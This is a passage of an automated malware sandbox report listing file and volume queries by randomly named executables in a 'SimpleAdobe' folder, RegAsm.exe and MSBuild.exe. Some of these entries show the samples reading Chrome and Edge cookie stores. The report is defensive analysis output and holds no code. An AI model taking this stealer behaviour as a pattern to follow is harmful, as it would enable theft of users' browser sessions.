Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\lockfile VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
